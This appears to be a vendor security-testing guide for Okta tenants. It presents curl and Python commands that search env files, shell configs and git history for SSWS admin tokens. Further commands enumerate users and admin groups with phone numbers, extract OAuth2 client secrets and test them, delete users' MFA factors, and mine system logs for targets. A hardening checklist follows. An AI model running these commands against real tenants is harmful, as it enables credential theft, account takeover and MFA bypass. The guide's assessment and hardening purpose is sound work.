Okta Security Testing: API Token, Admin API, SSWS Token Exposure, and User Enumeration

Okta is the dominant enterprise identity platform, protecting authentication for thousands of SaaS applications. Its security model depends on SSWS API tokens โ€” long-lived credentials that grant full administrative access to the Okta tenant; these tokens are frequently exposed in CI/CD pipelines, application logs, and environment variable dumps. The Admin API at /api/v1/ returns complete user, group, app, and credential data when authenticated with an SSWS token. The OAuth2 application client secrets stored in Okta are retrievable by tenant admins. System logs expose authentication patterns and user activity. This guide covers systematic Okta tenant security assessment.

Table of Contents

  1. SSWS API Token Discovery and Enumeration
  2. User and Group Enumeration via Admin API
  3. OAuth2 Application Credential Extraction
  4. System Log Analysis and Authentication Intelligence
  5. Okta Security Hardening

SSWS API Token Discovery and Enumeration

Okta SSWS (Session Web Service Secure) tokens are long-lived API credentials with no built-in expiration by default. A single exposed SSWS token grants complete administrative control over the Okta tenant โ€” user creation, app assignment, policy modification, and MFA resets.

# Okta SSWS token โ€” validate and enumerate tenant
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"

# Validate token and get org info
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Org: {d.get("id")}')
print(f'Status: {d.get("status")}')
print(f'Subdomain: {d.get("subdomain")}')
print(f'Plan: {d.get("edition",{}).get("name")}')
"

# Search environment variables and CI configs for SSWS tokens
grep -rE 'SSWS[a-zA-Z0-9_-]{20,}' ~/.env .env* *.yml *.yaml *.json 2>/dev/null
grep -rE 'okta.*token|OKTA.*TOKEN' ~/.bashrc ~/.zshrc ~/.bash_profile 2>/dev/null

# Search git history for leaked tokens
git log --all -p | grep -E 'SSWS[a-zA-Z0-9_-]{20,}' | head -20

# Check common CI/CD locations
for file in .travis.yml .circleci/config.yml .github/workflows/*.yml Jenkinsfile; do
  grep -l 'OKTA\|okta\|SSWS' "$file" 2>/dev/null && grep -E 'SSWS|okta_token' "$file"
done

# List all API tokens in the tenant (requires existing admin access)
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/meta/tokens" | python3 -c "
import json,sys
tokens=json.load(sys.stdin)
print(f'Active API tokens: {len(tokens)}')
for t in tokens:
    print(f'  [{t["id"]}] name={t["name"]} created={t["created"]} lastUsed={t.get("lastUsed","never")}')
    print(f'    createdBy={t.get("userId")} network={t.get("network",{}).get("connection")}')
"
Critical: SSWS tokens found in environment variable dumps or git history grant immediate full tenant administrative access. They do not expire by default and are not invalidated by password changes. Always check api/v1/meta/tokens to audit active tokens.

User and Group Enumeration via Admin API

The Okta Admin API at /api/v1/users returns complete user profiles including login, email, name, status, MFA enrollment, and last authentication timestamp. Group membership is similarly enumerable. This data enables targeted phishing, password spraying, and account takeover attempts.

# Enumerate all users in the Okta tenant
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"

# Paginated user enumeration (200 per page)
python3 << 'EOF'
import urllib.request, json, time

domain = "https://company.okta.com"
headers = {"Authorization": "SSWS your_token", "Accept": "application/json"}
url = f"{domain}/api/v1/users?limit=200"
users = []

while url:
    req = urllib.request.Request(url, headers=headers)
    resp = urllib.request.urlopen(req)
    batch = json.loads(resp.read())
    users.extend(batch)
    
    # Follow pagination via Link header
    link_header = resp.headers.get("Link", "")
    next_url = None
    for part in link_header.split(","):
        if 'rel="next"' in part:
            next_url = part.split(";")[0].strip().strip("<>")
    url = next_url
    time.sleep(0.1)

print(f"Total users: {len(users)}")
for u in users[:20]:
    profile = u.get("profile", {})
    creds = u.get("credentials", {})
    print(f'  {profile.get("login")} | status={u["status"]} | mfa={len(creds.get("provider",{}))} | lastLogin={u.get("lastLogin","never")}')
EOF

# Enumerate privileged groups
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/groups?q=admin&limit=50" | python3 -c "
import json,sys
groups=json.load(sys.stdin)
for g in groups:
    print(f'  [{g["id"]}] {g["profile"]["name"]} โ€” members: {g["objectClass"]}')
"

# Get members of a specific admin group
GROUP_ID="00g1234567890abcdef"
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/groups/${GROUP_ID}/users" | python3 -c "
import json,sys
members=json.load(sys.stdin)
print(f'Admin group members: {len(members)}')
for m in members:
    p = m.get('profile',{})
    print(f'  {p.get("login")} | {p.get("firstName")} {p.get("lastName")} | mobile={p.get("mobilePhone")}')
"

# Find users without MFA enrolled (high-value targets)
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/users?filter=status+eq+"ACTIVE"&limit=200" | python3 -c "
import json,sys
users=json.load(sys.stdin)
no_mfa=[]
for u in users:
    factors_url = u.get('_links',{}).get('self',{}).get('href','')
print('Users without MFA: check /api/v1/users/{userId}/factors for each user')
print(f'Total active users: {len(users)}')
"

OAuth2 Application Credential Extraction

Okta stores OAuth2 application client secrets on behalf of tenant-integrated apps. Admin API access allows enumeration of all registered applications, their client IDs and secrets, and their assigned users โ€” enabling impersonation of any integrated service.

# Extract all OAuth2 application credentials
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"

# List all applications
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/apps?limit=200" | python3 -c "
import json,sys
apps=json.load(sys.stdin)
print(f'Applications: {len(apps)}')
for a in apps:
    creds = a.get('credentials',{}).get('oauthClient',{})
    print(f'  [{a["id"]}] {a["label"]} | status={a["status"]} | signOn={a.get("signOnMode")}')
    if creds.get('client_id'):
        print(f'    client_id={creds["client_id"]}')
    if creds.get('client_secret'):
        print(f'    client_secret={creds["client_secret"]}  <-- EXPOSED')
"

# Get specific app client secret
APP_ID="0oa1234567890abcdef"
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/apps/${APP_ID}/credentials/secrets" | python3 -c "
import json,sys
secrets=json.load(sys.stdin)
for s in secrets:
    print(f'secret_id={s["id"]} status={s["status"]} created={s["created"]}')
    if 'clientSecret' in s:
        print(f'CLIENT SECRET: {s["clientSecret"]}')
"

# Test client credentials grant with extracted secret
CLIENT_ID="extracted_client_id"
CLIENT_SECRET="extracted_client_secret"
curl -s -X POST "${OKTA_DOMAIN}/oauth2/default/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&scope=openid"

# Reset user MFA (demonstrates admin capability)
USER_ID="00u1234567890abcdef"
FACTOR_ID="mfa1234567890abcdef"
curl -s -X DELETE \
  -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/users/${USER_ID}/factors/${FACTOR_ID}"
echo "MFA factor deleted โ€” user can re-enroll without verification"

System Log Analysis and Authentication Intelligence

The Okta System Log records every authentication event, MFA challenge, app access attempt, and admin action. With SSWS token access, this log provides a complete map of authentication patterns, service account usage, and anomalous access attempts.

# Okta system log โ€” authentication intelligence gathering
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"

# Recent authentication events (last 24 hours)
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/logs" \
  --data-urlencode "filter=eventType eq "user.session.start"" \
  --data-urlencode "since=2026-07-04T00:00:00Z" \
  --data-urlencode "limit=100" | python3 -c "
import json,sys
events=json.load(sys.stdin)
print(f'Login events: {len(events)}')
for e in events[:10]:
    actor = e.get('actor',{})
    client = e.get('client',{})
    outcome = e.get('outcome',{}).get('result','')
    print(f'  {actor.get("displayName")} | {client.get("ipAddress")} | {client.get("geographicalContext",{}).get("country")} | {outcome}')
"

# Find failed MFA attempts (potential brute-force targets)
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/logs" \
  --data-urlencode "filter=eventType eq "user.authentication.auth_via_mfa" and outcome.result eq "FAILURE"" \
  --data-urlencode "limit=50" | python3 -c "
import json,sys
events=json.load(sys.stdin)
from collections import Counter
targets = Counter(e.get('actor',{}).get('displayName','') for e in events)
print('Most-failed MFA accounts:')
for user, count in targets.most_common(10):
    print(f'  {user}: {count} failures')
"

# Admin actions audit โ€” who changed what
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
  "${OKTA_DOMAIN}/api/v1/logs" \
  --data-urlencode "filter=eventType sw "system.api_token"" \
  --data-urlencode "limit=20" | python3 -c "
import json,sys
events=json.load(sys.stdin)
for e in events:
    print(f'  {e["published"]} | {e["eventType"]} | actor={e.get("actor",{}).get("displayName")}')
"

Automated Okta Security Testing

Ironimo can scan your Okta tenant for exposed SSWS tokens, over-privileged API credentials, OAuth2 app secret exposure, and authentication configuration weaknesses โ€” covering the full identity attack surface.

Start free scan

Hardening Checklist

IssueDefault StateFix
SSWS token expirationNo expiration by defaultSet token expiration in Admin Console โ†’ Security โ†’ API โ†’ Tokens; rotate tokens every 90 days
API token scopeFull admin accessUse OAuth2 for API access with scoped tokens; restrict SSWS tokens to read-only where possible
User enumeration via APIAll users accessibleRequire IP allowlisting on Admin API; use Okta ThreatInsight to flag enumeration patterns
MFA reset without verificationAdmin can reset any factorRequire step-up authentication for MFA resets; alert on factor deletion events in System Log
OAuth2 client secret exposureAdmin can read all secretsRotate client secrets regularly; use mTLS instead of client_secret for service-to-service auth
System log accessAny admin token reads all logsRestrict log access to dedicated security roles; export logs to SIEM with immutable retention
Key findings to report: SSWS token with full admin access (critical); OAuth2 client secrets readable via admin API (high); users without MFA enrolled (high); admin MFA reset without step-up (medium); system log accessible to all admin tokens (medium).